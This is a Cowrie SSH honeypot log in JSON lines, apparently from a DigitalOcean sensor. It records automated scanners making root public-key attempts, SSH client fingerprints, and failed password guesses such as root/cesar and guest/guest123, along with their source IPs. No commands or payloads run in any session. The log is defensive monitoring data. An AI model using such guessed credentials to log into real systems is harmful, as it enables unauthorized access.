{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:12:ef:1a:df:fd:f4:94:60:32:80:46:cb:ca:78:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIeg86PGautVj1mBpFDmAvTUeceJEw9QTqNB8+CUkE7y4RTNg5VM5peE7lSfHbAaUcvkprQWQLj/iQ4oIMPThBRnwOnFTIiNqzqR8At0tEONM1RR+GyGtkdQOzT7v7mo6/PLtAdYe5nPzLJ6Sv9pqBYzkIIGTvYsiLl4GwC+1BVUqYccRBEPHC5gBUlk9pqPjTU+yW+a/e6DnaKrW/qIvS/QWNZoQfUf7E1sduG+SBdu+jxkGHOuxA3R68cBZt0hw9/FAdUo3m0X20cg5JXEZ1NC4ymi1wfwMhkzxYkdbKMuG0Q4J7tZ6Mm+FKGVCRa1Xr/LaU4RwSSNaoz7yd+pJgbpQeEdwZrB/vV8Yh8v8USxeehrSfKkcC3wcVxxopq9uAnjfv3etBRWt3V3nJEE2IDknUlfNk7wwujsfy1ZkVEh3+OMDZCf0SdXgGtRucCanu38W+eqq8EY6MIwkhPOfDypw88kIdM31ceX2gc8ZzBDA0iMV7cKagyfvT1yW0fJmggkMihd+50IfWc3tBorkN4qgmD20w156ImCe6312AjnR4b55tU0SAm3JyLvtnW7metJDcUgokiLPE0+5dQnXdZ7v+cSLLsDPsQUYTziQyaX3a8QJvi1J4+OayjPNRvboMNuJunc9kGnwwf19vmUGeGl/xtQnQ/gtfbSK8DQs67Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:12:ef:1a:df:fd:f4:94:60:32:80:46:cb:ca:78:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.366744Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:12:ef:1a:df:fd:f4:94:60:32:80:46:cb:ca:78:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDIeg86PGautVj1mBpFDmAvTUeceJEw9QTqNB8+CUkE7y4RTNg5VM5peE7lSfHbAaUcvkprQWQLj/iQ4oIMPThBRnwOnFTIiNqzqR8At0tEONM1RR+GyGtkdQOzT7v7mo6/PLtAdYe5nPzLJ6Sv9pqBYzkIIGTvYsiLl4GwC+1BVUqYccRBEPHC5gBUlk9pqPjTU+yW+a/e6DnaKrW/qIvS/QWNZoQfUf7E1sduG+SBdu+jxkGHOuxA3R68cBZt0hw9/FAdUo3m0X20cg5JXEZ1NC4ymi1wfwMhkzxYkdbKMuG0Q4J7tZ6Mm+FKGVCRa1Xr/LaU4RwSSNaoz7yd+pJgbpQeEdwZrB/vV8Yh8v8USxeehrSfKkcC3wcVxxopq9uAnjfv3etBRWt3V3nJEE2IDknUlfNk7wwujsfy1ZkVEh3+OMDZCf0SdXgGtRucCanu38W+eqq8EY6MIwkhPOfDypw88kIdM31ceX2gc8ZzBDA0iMV7cKagyfvT1yW0fJmggkMihd+50IfWc3tBorkN4qgmD20w156ImCe6312AjnR4b55tU0SAm3JyLvtnW7metJDcUgokiLPE0+5dQnXdZ7v+cSLLsDPsQUYTziQyaX3a8QJvi1J4+OayjPNRvboMNuJunc9kGnwwf19vmUGeGl/xtQnQ/gtfbSK8DQs67Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.370381Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:91:41:92:34:cc:1a:ce:ef:c8:40:b5:02:8d:e8:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH8z3cVTeUVJ1gnX5jhf7qHS19ehyU1femiGAFyKL4t3CKeELKGuEgPl4PWBUByKxVBHTqBMF/2nux79VHtluttmbc02rosAqVfqXMwzzgoUtFuZFOSE6XE/oIF7XOPModhip5VRRWUXJuh6tMKDd1+zYZ3CeWCdlQWbKCD8DOetDMPMt3Ps0xBexAAXa8QLoDTeYi7pOXsOTUhw4m250NllkAptKLRI1gF0M9QY+5rAAXgOlGUwPq3MakQ3ePIXvTSWSiYEFh3xfarBuUoVGJfbkHP3Rpa1YGv7gwsGAoTGtPtgjN+hB2JGh4/o/UdJPHCrartplJFQ/ZxzcElFQEcp52nq/Fizi20kGVXFi1G5M+amohFP4MVmx+QL8qbqPtSD3ZPTpAySnzk6N4smSAa1zknZ6w/iDZAwuCJDUh2uUgxDzZ/STFQCk74LjpOYJN9GzcG33zMSl3L/sIIk5qn3A0HWCkn9KnoBpufzhmkORGcV01ExriJS4wuHy2V+aIslo7Pw2ls1AJxj4Z0C8VPSNeuk5yMQ4UwIvFssTTpSQToO7cI3V8HFJ/Rbt5eezF2rBhehZCxEukKchFkBEmSZeXC5LGW/47gD+Xt7K6U7BR1i1MgdhAHgLK9GbjL+1eZ6HUjz0CKjkKgSzB/7p60v1OUoJA9teaF/UX+ZV2gQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:91:41:92:34:cc:1a:ce:ef:c8:40:b5:02:8d:e8:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.438127Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:91:41:92:34:cc:1a:ce:ef:c8:40:b5:02:8d:e8:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH8z3cVTeUVJ1gnX5jhf7qHS19ehyU1femiGAFyKL4t3CKeELKGuEgPl4PWBUByKxVBHTqBMF/2nux79VHtluttmbc02rosAqVfqXMwzzgoUtFuZFOSE6XE/oIF7XOPModhip5VRRWUXJuh6tMKDd1+zYZ3CeWCdlQWbKCD8DOetDMPMt3Ps0xBexAAXa8QLoDTeYi7pOXsOTUhw4m250NllkAptKLRI1gF0M9QY+5rAAXgOlGUwPq3MakQ3ePIXvTSWSiYEFh3xfarBuUoVGJfbkHP3Rpa1YGv7gwsGAoTGtPtgjN+hB2JGh4/o/UdJPHCrartplJFQ/ZxzcElFQEcp52nq/Fizi20kGVXFi1G5M+amohFP4MVmx+QL8qbqPtSD3ZPTpAySnzk6N4smSAa1zknZ6w/iDZAwuCJDUh2uUgxDzZ/STFQCk74LjpOYJN9GzcG33zMSl3L/sIIk5qn3A0HWCkn9KnoBpufzhmkORGcV01ExriJS4wuHy2V+aIslo7Pw2ls1AJxj4Z0C8VPSNeuk5yMQ4UwIvFssTTpSQToO7cI3V8HFJ/Rbt5eezF2rBhehZCxEukKchFkBEmSZeXC5LGW/47gD+Xt7K6U7BR1i1MgdhAHgLK9GbjL+1eZ6HUjz0CKjkKgSzB/7p60v1OUoJA9teaF/UX+ZV2gQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.441878Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:67:dc:17:b3:4b:38:7c:b9:ce:4b:77:c8:09:e5:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsymx2RU5qMc8j5MDqj7OdSGbGDSz8O0Jne4k1V43iGt9+fnamx9TIAJgy1ivvrB3HxEirfMruu+2ke3TEF8hnqQAuYTe6Pi/1+C3oNigAn11otd64yvYnsmwjE0a9w9CTp7Q3UOJqf57VZwbqxoSoqY5ma71jrmbUc7qBSkW1SqGrLqoE3e1+xdUlcw+tNZnVWYArNVM+7nJmovxMWK9/CAwc+LQYVpc6UA2bnRQe1u7vhcIbS9mLGDOPDVOqnJ7KynNf3WM0Sl3cmsHICEIKAhpU/72bxKUkefrhHr0x+Y7f8Rb1sKBjRJcQLsK+6qUIo3QcfUs6uGVLf/k0YPdh2Svdis6Ki0JXE+eCB4L5nru1T4Vgfot1xDdd2kHClbx7gQHs1dRRspVGnsmnb6QkLVHl8fL20S+TfJT3Mu45Lk7ZDpzNEvZKUPXJg9iVmN0T6sbpHuKc/9ojQGDJBQRYvwg5lQxBkFmh244o50O2jYGGbM1tWH7diUznoExAtEhUlD5QkH5hzk+7va38d8KHhWDGQHWV3qj3UEdsoJmd3cJY8+G7I2MP+tJ6WkWOh7JopvXHGaPzcLP+sF8QZy6pqm8YNuxinnPAMnRu2I0TP/wRQnHQanK1wtFEkZOnjEGbtIlsraA5nurdDiAr4eWDwhFFdpZNZWKRjgmi5gh8Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:67:dc:17:b3:4b:38:7c:b9:ce:4b:77:c8:09:e5:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.511116Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:67:dc:17:b3:4b:38:7c:b9:ce:4b:77:c8:09:e5:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsymx2RU5qMc8j5MDqj7OdSGbGDSz8O0Jne4k1V43iGt9+fnamx9TIAJgy1ivvrB3HxEirfMruu+2ke3TEF8hnqQAuYTe6Pi/1+C3oNigAn11otd64yvYnsmwjE0a9w9CTp7Q3UOJqf57VZwbqxoSoqY5ma71jrmbUc7qBSkW1SqGrLqoE3e1+xdUlcw+tNZnVWYArNVM+7nJmovxMWK9/CAwc+LQYVpc6UA2bnRQe1u7vhcIbS9mLGDOPDVOqnJ7KynNf3WM0Sl3cmsHICEIKAhpU/72bxKUkefrhHr0x+Y7f8Rb1sKBjRJcQLsK+6qUIo3QcfUs6uGVLf/k0YPdh2Svdis6Ki0JXE+eCB4L5nru1T4Vgfot1xDdd2kHClbx7gQHs1dRRspVGnsmnb6QkLVHl8fL20S+TfJT3Mu45Lk7ZDpzNEvZKUPXJg9iVmN0T6sbpHuKc/9ojQGDJBQRYvwg5lQxBkFmh244o50O2jYGGbM1tWH7diUznoExAtEhUlD5QkH5hzk+7va38d8KHhWDGQHWV3qj3UEdsoJmd3cJY8+G7I2MP+tJ6WkWOh7JopvXHGaPzcLP+sF8QZy6pqm8YNuxinnPAMnRu2I0TP/wRQnHQanK1wtFEkZOnjEGbtIlsraA5nurdDiAr4eWDwhFFdpZNZWKRjgmi5gh8Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.514956Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:d5:19:aa:00:00:78:58:4c:86:d0:c4:11:a2:cc:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLmvbKrMzTgaIOuIC+pWyZaObzdpBAwKL4nA+37d4shpHnBCh9xReiWZJOfPugj//8fPUtIhn6ag5m9ds2y9eDABr2ox7hB6hwDCZ3r1jw4TFXybS/Us/ZhffAEqIqhK+5/C//fJyv0JSKJMfJzA7E8KBJlRl7G8mr+C+llh8jG/OT1fOpOkGDQMUl0ynvp3Yqs5l+zS6Uo77V9A1ks7VZ29ThgaD4gz3nuBxOEguF3ApziZI2fpQwjHLue4pj0KB0N9N/dnkroORzfOzUOwp8gxPA6VXRlLGeY63WtY5fG5JGKQmkbrYsI8LNtTpvAnHeBa2bWM+u+d7h2TGzQWKpRlZb9ToEMJD9QuzyPC62P2+FUAMS9RprggsW4Sjdh6Fd1hKRkZWdPvPRCfQbIpSN8vbtIHOWaFQ6vVclZKcUZMWPdM6qShE6NjoDLh2qNwfwl3Yv5Sn8krv66pDfFqfvUletShT3ra4POdgDqq+ptwbKECInFJWfkw2HSiesitDVg6YhDCeWWhD+ovo/0+43x0zlCh14RKR9B4CgOtya48aWWhHOHQx0bMSx363CfVEo0Bcmp2UtwI96Kdrj2PPeX39/atTtOuV0xOHD/3E7UeZ35p7AAx7dokPGf+cGssZzn1ZcagcRUcmDMogDJra9xLeQEorotpBEjV9wffvndQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:d5:19:aa:00:00:78:58:4c:86:d0:c4:11:a2:cc:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.586707Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:d5:19:aa:00:00:78:58:4c:86:d0:c4:11:a2:cc:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLmvbKrMzTgaIOuIC+pWyZaObzdpBAwKL4nA+37d4shpHnBCh9xReiWZJOfPugj//8fPUtIhn6ag5m9ds2y9eDABr2ox7hB6hwDCZ3r1jw4TFXybS/Us/ZhffAEqIqhK+5/C//fJyv0JSKJMfJzA7E8KBJlRl7G8mr+C+llh8jG/OT1fOpOkGDQMUl0ynvp3Yqs5l+zS6Uo77V9A1ks7VZ29ThgaD4gz3nuBxOEguF3ApziZI2fpQwjHLue4pj0KB0N9N/dnkroORzfOzUOwp8gxPA6VXRlLGeY63WtY5fG5JGKQmkbrYsI8LNtTpvAnHeBa2bWM+u+d7h2TGzQWKpRlZb9ToEMJD9QuzyPC62P2+FUAMS9RprggsW4Sjdh6Fd1hKRkZWdPvPRCfQbIpSN8vbtIHOWaFQ6vVclZKcUZMWPdM6qShE6NjoDLh2qNwfwl3Yv5Sn8krv66pDfFqfvUletShT3ra4POdgDqq+ptwbKECInFJWfkw2HSiesitDVg6YhDCeWWhD+ovo/0+43x0zlCh14RKR9B4CgOtya48aWWhHOHQx0bMSx363CfVEo0Bcmp2UtwI96Kdrj2PPeX39/atTtOuV0xOHD/3E7UeZ35p7AAx7dokPGf+cGssZzn1ZcagcRUcmDMogDJra9xLeQEorotpBEjV9wffvndQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.590588Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:e4:1a:30:44:0f:8d:49:3c:24:ec:d4:40:f9:72:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVR0y6aiNQ7l8tRykjjWMjundnCrtRNg9wUBCZB8EdyAqe1q3r4xRgid/7IYuW+AK2gCJJuv/bJbDS/I2KQUOZ1+Mz6P1RjxRQnjMUSZ9wJRf6Iz5lhrGWbsQeMD5r83hzE0bQH44+NuoGufKRJn6Od3LFVVR6fL9KqGve3SxIE2PUI8ZKq9XvfAMU4JI91UB1OTS4fa95OsBNrMeQ2SRZTo8HeDWVdiLHqCv14p8qx16fRRI6D02oRsmZShWTgA/PeY4tbgl/Y0JHXg49v4wJeaku0Hyxi8EX+WUqlFgNfdQR1xGP3pH7hGLovcx5EJE+AAXuTyOMpAuZJR0kYWAFGIbW+vHQkImSbrpHUdDBt8sc/MBVdTveaQdLp77qh4XiKc42R6eCCP1wZ4rYzZhCoajzgzw4vzLP34TXyoBiPENCcwDWOVbL7mPL5Z0gEDCgTv1YvGvlCqMdgWQCaPKlg95Kft0YA/4xtt5aig0nAorEjMQw2nSnTT5ZL0L+fcRejy2yOlxxd2gFthbtm6yTD2ojUBrfHjMwfbl7FwitYxvLaxeJ1OmZQc1U5xBfivpiTyPHYjmNYFLhyG7HMnYNNA2J5XQtwyiNraPkrO3d9OqVgl2CLY5+35miYEuFwtt+2EQGkwIUpyIEJK6BM5fIa/P64ScBc8JqXwtMDd3gJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:e4:1a:30:44:0f:8d:49:3c:24:ec:d4:40:f9:72:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.864362Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:e4:1a:30:44:0f:8d:49:3c:24:ec:d4:40:f9:72:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVR0y6aiNQ7l8tRykjjWMjundnCrtRNg9wUBCZB8EdyAqe1q3r4xRgid/7IYuW+AK2gCJJuv/bJbDS/I2KQUOZ1+Mz6P1RjxRQnjMUSZ9wJRf6Iz5lhrGWbsQeMD5r83hzE0bQH44+NuoGufKRJn6Od3LFVVR6fL9KqGve3SxIE2PUI8ZKq9XvfAMU4JI91UB1OTS4fa95OsBNrMeQ2SRZTo8HeDWVdiLHqCv14p8qx16fRRI6D02oRsmZShWTgA/PeY4tbgl/Y0JHXg49v4wJeaku0Hyxi8EX+WUqlFgNfdQR1xGP3pH7hGLovcx5EJE+AAXuTyOMpAuZJR0kYWAFGIbW+vHQkImSbrpHUdDBt8sc/MBVdTveaQdLp77qh4XiKc42R6eCCP1wZ4rYzZhCoajzgzw4vzLP34TXyoBiPENCcwDWOVbL7mPL5Z0gEDCgTv1YvGvlCqMdgWQCaPKlg95Kft0YA/4xtt5aig0nAorEjMQw2nSnTT5ZL0L+fcRejy2yOlxxd2gFthbtm6yTD2ojUBrfHjMwfbl7FwitYxvLaxeJ1OmZQc1U5xBfivpiTyPHYjmNYFLhyG7HMnYNNA2J5XQtwyiNraPkrO3d9OqVgl2CLY5+35miYEuFwtt+2EQGkwIUpyIEJK6BM5fIa/P64ScBc8JqXwtMDd3gJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.868399Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:50:24.947028Z","src_ip":"74.48.5.133","session":"4fc144261a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":26565,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff27dd670fa0","protocol":"ssh","message":"New connection: 106.241.31.17:26565 (159.203.135.109:22) [session: ff27dd670fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:17.955885Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:18.162404Z","src_ip":"106.241.31.17","session":"ff27dd670fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":27236,"dst_ip":"159.203.135.109","dst_port":22,"session":"0abb46da08ab","protocol":"ssh","message":"New connection: 106.241.31.17:27236 (159.203.135.109:22) [session: 0abb46da08ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:18.344255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:18.349018Z","src_ip":"106.241.31.17","session":"0abb46da08ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:18.546386Z","src_ip":"106.241.31.17","session":"0abb46da08ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"msq","password":"a","message":"login attempt [msq/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:19.149340Z","src_ip":"106.241.31.17","session":"0abb46da08ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":33332,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fd87892f7dc","protocol":"ssh","message":"New connection: 165.154.205.128:33332 (10.17.0.5:22) [session: 8fd87892f7dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:19.392170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:19.400960Z","src_ip":"165.154.205.128","session":"8fd87892f7dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:19.632001Z","src_ip":"165.154.205.128","session":"8fd87892f7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:20.349508Z","src_ip":"106.241.31.17","session":"0abb46da08ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cesar","message":"login attempt [root/cesar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:20.585136Z","src_ip":"165.154.205.128","session":"8fd87892f7dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:51:21.819304Z","src_ip":"165.154.205.128","session":"8fd87892f7dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.128","src_port":38282,"dst_ip":"10.17.0.5","dst_port":22,"session":"e09ac59edb09","protocol":"ssh","message":"New connection: 165.154.205.128:38282 (10.17.0.5:22) [session: e09ac59edb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:52:23.277519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:52:23.282031Z","src_ip":"165.154.205.128","session":"e09ac59edb09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:52:23.514370Z","src_ip":"165.154.205.128","session":"e09ac59edb09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:52:24.477064Z","src_ip":"165.154.205.128","session":"e09ac59edb09","protocol":"ssh"}
